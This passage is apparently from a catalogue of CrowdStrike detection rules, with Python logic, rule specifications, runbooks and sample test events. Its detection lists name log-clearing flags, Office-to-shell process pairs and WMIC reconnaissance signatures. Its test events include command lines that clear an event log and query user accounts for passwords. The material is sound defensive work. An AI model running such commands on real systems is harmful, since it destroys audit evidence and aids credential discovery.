contexts = str_to_list(audit_keys_dict(event).get("contexts", ""))
if len(contexts) == 0:
contexts_str = "no contexts"
elif len(contexts) == 1:
contexts_str = contexts[0]
else:
contexts_str = ", ".join(contexts[:-1]) + " & " + contexts[-1]
num_ips_str = "a single ip" if len(contexts) == 1 else f"{len(single_ips)} single ips"
return f"{actor} granted {contexts_str} access to {num_ips_str}"
def alert_context(event):
context = cs_alert_context(event)
context.update({"single_ips": get_single_ips(event)})
return context
Rule specification
AnalysisType: rule
Filename: crowdstrike_single_ip_allowlisted.py
RuleID: "Crowdstrike.SingleIpAllowlisted"
DisplayName: "Crowdstrike Single IP Allowlisted"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Reports:
MITRE ATT&CK:
- TA0003:T1556.009 # Persistsnce: Modify Authentication Process: Conditional Access Policies
- TA0005:T1556.009 # Defense Evasion: Modify Authentication Process: Conditional Access Policies
- TA0006:T1556.009 # Credential Access: Modify Authentication Process: Conditional Access Policies
Description: A single IP (instead of a CIDR range) was allowlisted. This could indicate a bad actor permitting access from another machine.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized, and determine the client to which the IP belongs to.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when the condition below holds.
Condition
event.OperationNameis one ofCreateAllowlistGroup,UpdateAllowlistGroup
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | in |
| field:"event.OperationName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
Response runbook
Validate this action was authorized, and determine the client to which the IP belongs to.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "allowlist_group_id",
"ValueString": "24821376-7e77-431e-9469-74846978fe64"
},
{
"Key": "group_name",
"ValueString": "example_group"
},
{
"Key": "description",
"ValueString": ""
},
{
"Key": "cidrs",
"ValueString": "[1.1.1.1]"
},
{
"Key": "contexts",
"ValueString": "[API]"
},
{
"Key": "active",
"ValueString": "false"
}
],
"OperationName": "CreateAllowlistGroup",
"ServiceName": "Crowdstrike Allowlist Management",
"Success": true,
"UTCTimestamp": "2024-07-26 16:13:13.000000000",
"UserId": "wormtongue@isengard.org",
"UserIp": "1.2.3.4"
},
"metadata": {
"customerIDString": "fake_cust_id",
"eventCreationTime": "2024-07-26 16:13:13.579000000",
"eventType": "AuthActivityAuditEvent",
"offset": 365164,
"version": "1.0"
}
}
Crowdstrike Systemlog Tampering
#Detects when a user attempts to clear system logs.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context
CLEARING_SYSTEM_LOG_TOOLS = {
"wevtutil.exe": ["cl", "clear-log"],
"powershell.exe": ["clear-eventlog"],
}
def rule(event):
if event.get("fdr_event_type", "") == "ProcessRollup2":
if event.get("event_platform", "") == "Win":
process_name = (
event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
)
if process_name in CLEARING_SYSTEM_LOG_TOOLS:
process_command_line = event.deep_get("event", "CommandLine", default="").split(" ")
suspicious_command_lines = CLEARING_SYSTEM_LOG_TOOLS.get(process_name)
for suspicious_command_line in suspicious_command_lines:
if suspicious_command_line in process_command_line:
return True
return False
def title(event):
host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
command = event.deep_get("event", "CommandLine", default="<COMMAND_NOT_FOUND>")
return (
"Crowdstrike: System log tampering attempt detected on "
f"host [{host}] with command [{command}]"
)
def alert_context(event):
return crowdstrike_detection_alert_context(event)
Rule specification
AnalysisType: rule
Description: "Detects when a user attempts to clear system logs. "
DisplayName: "Crowdstrike Systemlog Tampering"
Enabled: true
Filename: crowdstrike_systemlog_tampering.py
Reference: https://attack.mitre.org/techniques/T1070/001/
Severity: High
DedupPeriodMinutes: 60
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Crowdstrike.Systemlog.Tampering"
Threshold: 1
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
fdr_event_typeisProcessRollup2event_platformisWin
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event_platform | eq |
| field:"event_platform" kind:eq value:"Win" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
user | UserName |
console-link | FalconHostLink |
commandline | CommandLine |
parentcommandline | ParentCommandLine |
filename | FileName |
filepath | FilePath |
description | Description |
action | PatternDispositionDescription |
ComputerName | |
CommandLine | event.CommandLine |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234567890abcdefg654321",
"aip": "11.10.9.8",
"cid": "abcdefghijklmnop123467890",
"configbuild": "1007.3.0016606.11",
"configstatehash": "3799024366",
"entitlements": "15",
"event": {
"AuthenticationId": "293628",
"AuthenticodeHashData": "5540c470218d209b7c3eca3d12e190580814d566",
"CommandLine": "C:\\Windows\\System32\\wevtutil.exe cl test",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\wevtutil.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "5fd22b915c232378e567160d641cc9f2",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "pwsh.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "0",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682106752.006",
"ProcessSxsFlags": "64",
"RawProcessId": "1468",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
"SessionId": "2",
"SignInfoFlags": "8683538",
"SourceProcessId": "4370948876",
"SourceThreadId": "6364981533",
"Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
"TargetProcessId": "4390327988",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "1234567890abcdefg654321",
"aip": "11.10.9.8",
"cid": "abcdefghijklmnop123467890",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"timestamp": "1682106752722"
},
"event_platform": "Win",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"p_any_ip_addresses": [
"11.10.9.8"
],
"p_any_md5_hashes": [
"5fd22b915c232378e567160d641cc9f2",
"1234567890abcdefg654321",
"abcdefghijklmnop123467890"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
],
"p_any_trace_ids": [
"4295752857",
"1234567890abcdefg654321",
"abcdefghijklmnop123467890"
],
"p_event_time": "2023-04-21 19:52:32.722",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-04-21 20:05:52.94",
"p_row_id": "7ac82dbb43a99bfec196bdda178c8101",
"p_schema_version": 0,
"p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
"p_source_label": "Crowdstrike-FDR-Dev",
"timestamp": "2023-04-21 19:52:32.722",
"treeid": "4295752857"
}
Crowdstrike Unusual Parent Child Processes
#Detects unusual parent child process pairings.
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context
SUSPICIOUS_PARENT_CHILD_COMBINATIONS_WINDOWS = {
("winword.exe", "cmd.exe"),
("winword.exe", "powershell.exe"),
("excel.exe", "cmd.exe"),
("excel.exe", "powershell.exe"),
("outlook.exe", "cmd.exe"),
("outlook.exe", "powershell.exe"),
}
def rule(event):
if event.get("fdr_event_type", "") == "ProcessRollup2":
if event.get("event_platform", "") == "Win":
parent_process_name = event.deep_get("event", "ParentBaseFileName", default="").lower()
child_process_name = (
event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
)
return (
parent_process_name,
child_process_name,
) in SUSPICIOUS_PARENT_CHILD_COMBINATIONS_WINDOWS
return False
def title(event):
parent_process_name = event.deep_get("event", "ParentBaseFileName", default="").lower()
child_process_name = (
event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
)
procs = (parent_process_name, child_process_name)
return f"Crowdstrike: Suspicious parent/child combination [{procs}] detected"
def alert_context(event):
return crowdstrike_detection_alert_context(event)
Rule specification
AnalysisType: rule
Description: Detects unusual parent child process pairings.
DisplayName: "Crowdstrike Unusual Parent Child Processes"
Enabled: true
Filename: crowdstrike_unusual_parent_child_processes.py
Reference: https://medium.com/falconforce/falconfriday-e4554e9e6665
Severity: High
DedupPeriodMinutes: 60
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Crowdstrike.Unusual.Parent.Child.Processes"
Threshold: 1
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
fdr_event_typeisProcessRollup2event_platformisWin
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event_platform | eq |
| field:"event_platform" kind:eq value:"Win" |
fdr_event_type | eq |
| field:"fdr_event_type" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
user | UserName |
console-link | FalconHostLink |
commandline | CommandLine |
parentcommandline | ParentCommandLine |
filename | FileName |
filepath | FilePath |
description | Description |
action | PatternDispositionDescription |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234567890abcdefg654321",
"aip": "1.2.3.4",
"cid": "abcdefghijklmnop123467890",
"configbuild": "1007.3.0016606.11",
"configstatehash": "3799024366",
"entitlements": "15",
"event": {
"AuthenticationId": "293628",
"AuthenticodeHashData": "0000000000bc97f7a55c355f06119abc90155e8a",
"CommandLine": "C:\\Windows\\System32\\cmd.exe",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\cmd.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "0000000000df0bc6120d437e0a7e1281",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "excel.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "0",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682106752.006",
"ProcessSxsFlags": "64",
"RawProcessId": "1468",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be",
"SessionId": "2",
"SignInfoFlags": "8683538",
"SourceProcessId": "4370948876",
"SourceThreadId": "6364981533",
"Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
"TargetProcessId": "4390327988",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "1234567890abcdefg654321",
"aip": "1.2.3.4",
"cid": "abcdefghijklmnop123467890",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"timestamp": "1682106752722"
},
"event_platform": "Win",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_md5_hashes": [
"0000000000df0bc6120d437e0a7e1281",
"1234567890abcdefg654321",
"abcdefghijklmnop123467890"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be"
],
"p_any_trace_ids": [
"4295752857",
"1234567890abcdefg654321",
"abcdefghijklmnop123467890"
],
"p_event_time": "2023-04-21 19:52:32.722",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-04-21 20:05:52.94",
"p_row_id": "0000000000224847bdd7fa2ef5daae32",
"p_schema_version": 0,
"p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
"p_source_label": "Crowdstrike-FDR-Dev",
"timestamp": "2023-04-21 19:52:32.722",
"treeid": "4295752857"
}
Crowdstrike User Deleted
#Someone has deleted multiple users.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Detection logic
from panther_crowdstrike_event_streams_helpers import cs_alert_context
def rule(event):
return all(
[
event.deep_get("event", "OperationName") == "deleteUser",
event.deep_get("event", "Success"),
]
)
def title(event):
actor = event.deep_get("event", "UserId", default="UNKNOWN USER")
return f"[{actor}] has deleted multiple Crowdstrike users within the past hour."
def alert_context(event):
return cs_alert_context(event)
Rule specification
AnalysisType: rule
Filename: crowdstrike_user_deleted.py
RuleID: "Crowdstrike.UserDeleted"
DisplayName: "Crowdstrike User Deleted"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: High
Reports:
MITRE ATT&CK:
- TA0005:T1070 # Indicator Removal
Description: Someone has deleted multiple users.
DedupPeriodMinutes: 60
Threshold: 3
Runbook: Validate this action was authorized.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when all of the conditions below hold.
Condition
event.OperationNameisdeleteUserevent.Successis present
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq value:"deleteUser" |
event.Success | is_not_null | field:"event.Success" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
Response runbook
Validate this action was authorized.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "target_name",
"ValueString": "frodo.baggins@hobbiton.co"
}
],
"OperationName": "deleteUser",
"ServiceName": "CrowdStrike Authentication",
"Success": true,
"UTCTimestamp": "2024-07-22 15:50:16.923000000",
"UserId": "sharkey@hobbiton.co",
"UserIp": "192.0.2.100"
},
"metadata": {
"customerIDString": "fake_customer_id",
"eventCreationTime": "2024-07-22 15:50:16.923000000",
"eventType": "AuthActivityAuditEvent",
"offset": 341329,
"version": "1.0"
}
}
Crowdstrike User Password Changed
#A user's password was changed
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Detection logic
from panther_base_helpers import key_value_list_to_dict
from panther_crowdstrike_event_streams_helpers import cs_alert_context
def rule(event):
return all(
[
event.deep_get("event", "OperationName") == "changePassword",
event.deep_get("event", "Success"),
]
)
def title(event):
audit_keys = key_value_list_to_dict(
event.deep_get("event", "AuditKeyValues"), "Key", "ValueString"
)
target = audit_keys.get("target_name", "UNKNOWN USER")
actor = event.deep_get("event", "UserId")
if target == actor:
return f"[{actor}] changed their password."
return f"[{actor}] changed the password of [{target}]"
def severity(event):
# Downgrade sev if password changed by same uer
audit_keys = key_value_list_to_dict(
event.deep_get("event", "AuditKeyValues"), "Key", "ValueString"
)
target = audit_keys.get("target_name", "UNKNOWN USER")
actor = event.deep_get("event", "UserId")
if target == actor:
return "INFO"
return "DEFAULT"
def alert_context(event):
return cs_alert_context(event)
Rule specification
AnalysisType: rule
Filename: crowdstrike_password_change.py
RuleID: "Crowdstrike.UserPasswordChange"
DisplayName: "Crowdstrike User Password Changed"
Enabled: true
LogTypes:
- Crowdstrike.EventStreams
Severity: Medium
Reports:
MITRE ATT&CK:
- TA0003:T1098.001 # Persistence: Additional Cloud Credentials
- TA0004:T1098.001 # Privilege Escalation: Additional Cloud Credentials
Description: A user's password was changed
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized.
Stages and Predicates
Fires on Crowdstrike.EventStreams events when all of the conditions below hold.
Condition
event.OperationNameischangePasswordevent.Successis present
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.OperationName | eq |
| field:"event.OperationName" kind:eq value:"changePassword" |
event.Success | is_not_null | field:"event.Success" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
UserId | event.UserId |
Response runbook
Validate this action was authorized.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"event": {
"AuditKeyValues": [
{
"Key": "target_uuid",
"ValueString": "e70e5306-4a83-4a9f-9b59-a78c304c438b"
},
{
"Key": "target_cid",
"ValueString": "fake_customer_id"
},
{
"Key": "actor_cid",
"ValueString": "fake_customer_id"
},
{
"Key": "trace_id",
"ValueString": "f4f8b3233619bdf49ea2a2d108ce39d8"
},
{
"Key": "target_name",
"ValueString": "peregrin.took@hobbiton.co"
},
{
"Key": "action_target_name",
"ValueString": "peregrin.took@hobbiton.co"
}
],
"OperationName": "changePassword",
"ServiceName": "CrowdStrike Authentication",
"Success": true,
"UTCTimestamp": "2024-07-22 16:15:36.535000000",
"UserId": "peregrin.took@hobbiton.co",
"UserIp": "1.1.1.1"
},
"metadata": {
"customerIDString": "fake_customer_id",
"eventCreationTime": "2024-07-22 16:15:36.535000000",
"eventType": "AuthActivityAuditEvent",
"offset": 341447,
"version": "1.0"
}
}
Crowdstrike WMI Query Detection
#Detects execution of WMI queries involving information gathering or actions on remote systems, which could indicate reconnaissance or lateral movement.
Detection logic
from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context
WMIC_SIGNATURES = ["get", "list", "process call create", "cmd.exe", "powershell.exe", "command.exe"]
def rule(event):
if event.deep_get("event", "event_simpleName") == "ProcessRollup2":
if event.deep_get("event", "event_platform") == "Win":
if event.deep_get("event", "ImageFileName", default="").split("\\")[-1] == "wmic.exe":
command_line = event.deep_get("event", "CommandLine", default="")
for signature in WMIC_SIGNATURES:
if signature in command_line:
return True
return False
def title(event):
cmd = event.deep_get("event", "CommandLine", default="<COMMAND_LINE_NOT_FOUND>")
host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
return f"Crowdstrike: WMIC Query [{cmd}] performed on host [{host}]"
def alert_context(event):
return crowdstrike_detection_alert_context(event)
Rule specification
AnalysisType: rule
Description: Detects execution of WMI queries involving information gathering or actions on remote systems, which could indicate reconnaissance or lateral movement.
DisplayName: "Crowdstrike WMI Query Detection"
Enabled: true
Filename: crowdstrike_wmi_query_detection.py
Runbook: Investigate the endpoint for signs of WMI query execution. Review the executed query and the associated user account.
Reference: https://learn.microsoft.com/en-us/windows/win32/wmisdk/querying-wmi
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
- Crowdstrike.FDREvent
RuleID: "Crowdstrike.WMI.Query.Detection"
Threshold: 1
Stages and Predicates
Fires on Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
event.event_simpleNameisProcessRollup2event.event_platformisWinany of:
event.CommandLinecontainsgetevent.CommandLinecontainslistevent.CommandLinecontainsprocess call createevent.CommandLinecontainscmd.exeevent.CommandLinecontainspowershell.exeevent.CommandLinecontainscommand.exe
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.CommandLine | contains |
| field:"event.CommandLine" kind:contains |
event.event_platform | eq |
| field:"event.event_platform" kind:eq value:"Win" |
event.event_simpleName | eq |
| field:"event.event_simpleName" kind:eq value:"ProcessRollup2" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
aid | |
user | UserName |
console-link | FalconHostLink |
commandline | CommandLine |
parentcommandline | ParentCommandLine |
filename | FileName |
filepath | FilePath |
description | Description |
action | PatternDispositionDescription |
CommandLine | event.CommandLine |
ComputerName |
Response runbook
Investigate the endpoint for signs of WMI query execution. Review the executed query and the associated user account.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"aid": "1234567890abcdefg654321",
"aip": "11.10.9.8",
"cid": "abcdefghijklmnop123467890",
"configbuild": "1007.3.0016606.11",
"configstatehash": "3799024366",
"entitlements": "15",
"event": {
"AuthenticationId": "293628",
"AuthenticodeHashData": "5540c470218d209b7c3eca3d12e190580814d566",
"CommandLine": "C:\\Windows\\System32\\wmic.exe useraccount get name,password",
"ConfigBuild": "1007.3.0016606.11",
"ConfigStateHash": "3799024366",
"EffectiveTransmissionClass": "2",
"Entitlements": "15",
"ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\wmic.exe",
"ImageSubsystem": "3",
"IntegrityLevel": "12288",
"MD5HashData": "5fd22b915c232378e567160d641cc9f2",
"ParentAuthenticationId": "293628",
"ParentBaseFileName": "pwsh.exe",
"ParentProcessId": "4370948876",
"ProcessCreateFlags": "0",
"ProcessEndTime": "",
"ProcessParameterFlags": "24577",
"ProcessStartTime": "1682106752.006",
"ProcessSxsFlags": "64",
"RawProcessId": "1468",
"SHA1HashData": "0000000000000000000000000000000000000000",
"SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
"SessionId": "2",
"SignInfoFlags": "8683538",
"SourceProcessId": "4370948876",
"SourceThreadId": "6364981533",
"Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
"TargetProcessId": "4390327988",
"TokenType": "1",
"TreeId": "4295752857",
"UserSid": "S-1-5-21-239183934-720705223-383019856-500",
"aid": "1234567890abcdefg654321",
"aip": "11.10.9.8",
"cid": "abcdefghijklmnop123467890",
"event_platform": "Win",
"event_simpleName": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"timestamp": "1682106752722"
},
"event_platform": "Win",
"event_simplename": "ProcessRollup2",
"fdr_event_type": "ProcessRollup2",
"id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
"name": "ProcessRollup2V19",
"p_any_ip_addresses": [
"11.10.9.8"
],
"p_any_md5_hashes": [
"5fd22b915c232378e567160d641cc9f2",
"1234567890abcdefg654321",
"abcdefghijklmnop123467890"
],
"p_any_sha1_hashes": [
"0000000000000000000000000000000000000000"
],
"p_any_sha256_hashes": [
"488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
],
"p_any_trace_ids": [
"4295752857",
"1234567890abcdefg654321",
"abcdefghijklmnop123467890"
],
"p_event_time": "2023-04-21 19:52:32.722",
"p_log_type": "Crowdstrike.FDREvent",
"p_parse_time": "2023-04-21 20:05:52.94",
"p_row_id": "7ac82dbb43a99bfec196bdda178c8101",
"p_schema_version": 0,
"p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
"p_source_label": "Crowdstrike-FDR-Dev",
"timestamp": "2023-04-21 19:52:32.722",
"treeid": "4295752857"
}
DNS request to denylisted domain
#Detects DNS requests to domains on a custom denylist configured by security teams based on their threat landscape. This template rule requires configuration before enabling and monitors for C2 communication, phishing infrastructure, malware distribution, and data exfiltration. Organizations populate the denylist with threat intelligence indicators, known malicious infrastructure, and domains associated with targeted campaigns.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Command & Control | |
| Exfiltration |
Detection logic
from panther_crowdstrike_fdr_helpers import filter_crowdstrike_fdr_event_type, get_crowdstrike_field
# baddomain.com is present for testing purposes. Add domains you wish to be alerted on to this list
DENYLIST = ["baddomain.com"]
def rule(event):
# We need to run either for Crowdstrike.DnsRequest or for Crowdstrike.FDREvent with the
# 'DnsRequest' fdr_event_type. Crowdstrike.DnsRequest is covered because of the
# association with the type
if filter_crowdstrike_fdr_event_type(event, "DnsRequest"):
return False
if get_crowdstrike_field(event, "DomainName") in DENYLIST:
return True
return False
def title(event):
host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
return (
f"A denylisted domain [{get_crowdstrike_field(event, 'DomainName')}] was "
+ f"queried by host {host}"
)
def dedup(event):
# Alert on every individual lookup of a bad domain, per machine
return f"{get_crowdstrike_field(event, 'DomainName')}-{event.get('aid')}"
Rule specification
AnalysisType: rule
Filename: crowdstrike_dns_request.py
RuleID: "Crowdstrike.DNS.Request"
DisplayName: "DNS request to denylisted domain"
Enabled: false
LogTypes:
- Crowdstrike.DNSRequest
- Crowdstrike.FDREvent
Tags:
- CrowdStrike
- Configuration Required
- DNS
- Command and Control
- Initial Access
- Exfiltration
- Threat Intelligence
- Network Monitoring
Severity: High
Reports:
MITRE ATT&CK:
- TA0001:T1566
- TA0011:T1071.004
- TA0010:T1567
Description: >
Detects DNS requests to domains on a custom denylist configured by security teams based on their threat landscape. This template rule requires configuration before enabling and monitors for C2 communication, phishing infrastructure, malware distribution, and data exfiltration. Organizations populate the denylist with threat intelligence indicators, known malicious infrastructure, and domains associated with targeted campaigns.
Reference: https://docs.runpanther.io/data-onboarding/supported-logs/crowdstrike#crowdstrike-dnsrequest
Runbook: |
1. Query CrowdStrike ProcessRollup events for ContextProcessId matching this DNS request to identify the process, user account, and parent process that initiated the query to DomainName
2. Search CrowdStrike DNS logs for all queries to the same DomainName from the affected host (aid) in the past 30 days to determine when it was first queried and the frequency of attempts
3. Hunt across all endpoints for other hosts querying the same denylisted domain using CrowdStrike IOC search to identify additional compromised systems in the campaign
DedupPeriodMinutes: 15
SummaryAttributes:
- DomainName
- aid
- p_any_domain_names
- p_any_ip_addresses
Stages and Predicates
Fires on Crowdstrike.DNSRequest, Crowdstrike.FDREvent events when all of the conditions below hold.
Condition
any of:
p_log_typeis notCrowdstrike.FDREventfdr_event_typeisDnsRequest
DomainNameis one ofbaddomain.com
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
fdr_event_type | ne | DnsRequest | excludes:fdr_event_type field:"fdr_event_type" value:"DnsRequest" |
p_log_type | eq | Crowdstrike.FDREvent | excludes:p_log_type field:"p_log_type" value:"Crowdstrike.FDREvent" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
DomainName | in |
| field:"DomainName" kind:in value:"baddomain.com" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
DomainName |
ComputerName |
Response runbook
1. Query CrowdStrike ProcessRollup events for ContextProcessId matching this DNS request to identify the process, user account, and parent process that initiated the query to DomainName
2. Search CrowdStrike DNS logs for all queries to the same DomainName from the affected host (aid) in the past 30 days to determine when it was first queried and the frequency of attempts
3. Hunt across all endpoints for other hosts querying the same denylisted domain using CrowdStrike IOC search to identify additional compromised systems in the campaign
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"ConfigBuild": "1007.4.0014301.11",
"ConfigStateHash": "507116305",
"ContextProcessId": "111111111111111111",
"ContextThreadId": "0",
"ContextTimeStamp": "2021-10-08 19:55:04.448Z",
"DomainName": "baddomain.com",
"EffectiveTransmissionClass": 2,
"Entitlements": "15",
"RequestType": "1",
"aid": "00000000000000000000000000000001",
"aip": "111.111.111.111",
"cid": "00000000000000000000000000000002",
"event_platform": "Mac",
"event_simpleName": "DnsRequest",
"id": "11111111-0000-1111-0000-111111111111",
"name": "DnsRequestMacV1",
"p_any_domain_names": [
"baddomain.com"
],
"p_any_ip_addresses": [
"111.111.111.111"
],
"p_any_trace_ids": [
"00000000000000000000000000000001",
"00000000000000000000000000000002"
],
"p_event_time": "2021-10-08 19:55:04.448Z",
"p_log_type": "Crowdstrike.DNSRequest",
"p_parse_time": "2021-10-08 20:09:41.933Z",
"p_row_id": "2ed00000000000000000000000000001",
"p_source_id": "11111111-1111-1111-1111-111111111111",
"p_source_label": "Crowdstrike",
"timestamp": "2021-10-01 00:00:00.000Z"
}
Execution of Command Line Tool with Base64 Encoded Arguments
#Detects the execution of common command line tools (e.g., PowerShell, cmd.exe) with Base64 encoded arguments, which could indicate an attempt to obfuscate malicious commands.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution | No specific technique |
Detection logic
from panther_base_helpers import is_base64
from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context, get_crowdstrike_field
DECODED = ""
# List of command line tools to monitor for execution with Base64 encoded arguments
COMMAND_LINE_TOOLS = {
"powershell.exe",
"cmd.exe",
"cscript.exe",
"wscript.exe",
"rundll32.exe",
}
# PowerShell flags that signal the following argument is base64-encoded.
# Includes the full parameter name and common abbreviations used in the wild.
# Scanning all tokens without this check causes FPs on legitimate -Command invocations
# whose natural language arguments happen to pass base64 charset validation.
POWERSHELL_ENCODING_FLAGS = {"-encodedcommand", "-enc", "-en", "-e", "-ec"}
def _tokenize_command_line(cmd: str) -> list:
"""Normalize and split a command line string into tokens, skipping the process path."""
cmd = cmd.replace("\u2013", "-")
cmd = cmd.replace('"', " ")
cmd = cmd.replace("'", " ")
cmd = cmd.replace("=", " ")
return cmd.split(" ")[1:]
def _find_powershell_encoded_arg(tokens: list) -> str:
"""Return the decoded value of the argument following a PowerShell encoding flag, or ''."""
for i, arg in enumerate(tokens):
if arg.lower() in POWERSHELL_ENCODING_FLAGS:
